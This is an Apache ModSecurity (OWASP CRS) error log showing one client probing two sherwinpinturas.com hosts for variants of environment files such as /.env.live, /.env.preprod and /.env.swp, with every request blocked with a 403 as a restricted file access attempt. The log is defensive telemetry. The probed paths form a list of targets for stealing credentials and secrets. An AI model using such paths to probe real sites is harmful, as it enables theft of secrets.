[Mon Oct 26 02:13:18.776042 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at7vfssSJ_JPXSgPpTUB4gAAAA4"]
[Mon Oct 26 02:13:18.776399 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at7vfssSJ_JPXSgPpTUB4gAAAA4"]
[Mon Oct 26 02:13:18.777531 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at7vfpMnyYq70WIUET3r3wAAABc"]
[Mon Oct 26 02:13:18.777709 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at7vfpMnyYq70WIUET3r3wAAABc"]
[Mon Oct 26 02:13:18.777960 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at7vfpMnyYq70WIUET3r3wAAABc"]
[Mon Oct 26 02:13:18.990215 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at7vfpMnyYq70WIUET3r4AAAABc"]
[Mon Oct 26 02:13:18.990445 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at7vfpMnyYq70WIUET3r4AAAABc"]
[Mon Oct 26 02:13:18.990700 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at7vfpMnyYq70WIUET3r4AAAABc"]
[Mon Oct 26 02:13:18.994961 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at7vfssSJ_JPXSgPpTUB4wAAAA4"]
[Mon Oct 26 02:13:18.995134 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at7vfssSJ_JPXSgPpTUB4wAAAA4"]
[Mon Oct 26 02:13:18.995351 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at7vfssSJ_JPXSgPpTUB4wAAAA4"]
[Mon Oct 26 02:13:19.203093 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.uat"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at7vf5MnyYq70WIUET3r4QAAABc"]
[Mon Oct 26 02:13:19.203324 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at7vf5MnyYq70WIUET3r4QAAABc"]
[Mon Oct 26 02:13:19.203570 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at7vf5MnyYq70WIUET3r4QAAABc"]
[Mon Oct 26 02:13:19.209660 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.uat"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at7vf8sSJ_JPXSgPpTUB5AAAAA4"]
[Mon Oct 26 02:13:19.209817 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at7vf8sSJ_JPXSgPpTUB5AAAAA4"]
[Mon Oct 26 02:13:19.210066 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at7vf8sSJ_JPXSgPpTUB5AAAAA4"]
[Mon Oct 26 02:13:19.420328 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at7vf5MnyYq70WIUET3r4gAAABc"]
[Mon Oct 26 02:13:19.420550 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at7vf5MnyYq70WIUET3r4gAAABc"]
[Mon Oct 26 02:13:19.420851 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at7vf5MnyYq70WIUET3r4gAAABc"]
[Mon Oct 26 02:13:19.430275 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at7vf8sSJ_JPXSgPpTUB5QAAAA4"]
[Mon Oct 26 02:13:19.430479 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at7vf8sSJ_JPXSgPpTUB5QAAAA4"]
[Mon Oct 26 02:13:19.430728 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at7vf8sSJ_JPXSgPpTUB5QAAAA4"]
[Mon Oct 26 02:13:19.643898 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at7vf5MnyYq70WIUET3r4wAAABc"]
[Mon Oct 26 02:13:19.644173 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at7vf5MnyYq70WIUET3r4wAAABc"]
[Mon Oct 26 02:13:19.644505 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at7vf5MnyYq70WIUET3r4wAAABc"]
[Mon Oct 26 02:13:19.649723 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at7vf8sSJ_JPXSgPpTUB5gAAAA4"]
[Mon Oct 26 02:13:19.649952 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at7vf8sSJ_JPXSgPpTUB5gAAAA4"]
[Mon Oct 26 02:13:19.650257 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at7vf8sSJ_JPXSgPpTUB5gAAAA4"]
[Mon Oct 26 02:13:19.874732 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at7vf8sSJ_JPXSgPpTUB5wAAAA4"]
[Mon Oct 26 02:13:19.874988 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at7vf8sSJ_JPXSgPpTUB5wAAAA4"]
[Mon Oct 26 02:13:19.875342 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at7vf8sSJ_JPXSgPpTUB5wAAAA4"]
[Mon Oct 26 02:13:19.876380 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at7vf5MnyYq70WIUET3r5AAAABc"]
[Mon Oct 26 02:13:19.876522 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at7vf5MnyYq70WIUET3r5AAAABc"]
[Mon Oct 26 02:13:19.876749 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at7vf5MnyYq70WIUET3r5AAAABc"]
[Mon Oct 26 02:13:20.150566 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at7vgMsSJ_JPXSgPpTUB6AAAAA4"]
[Mon Oct 26 02:13:20.150787 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at7vgMsSJ_JPXSgPpTUB6AAAAA4"]
[Mon Oct 26 02:13:20.151054 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at7vgMsSJ_JPXSgPpTUB6AAAAA4"]
[Mon Oct 26 02:13:20.151370 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at7vgJMnyYq70WIUET3r5QAAABc"]
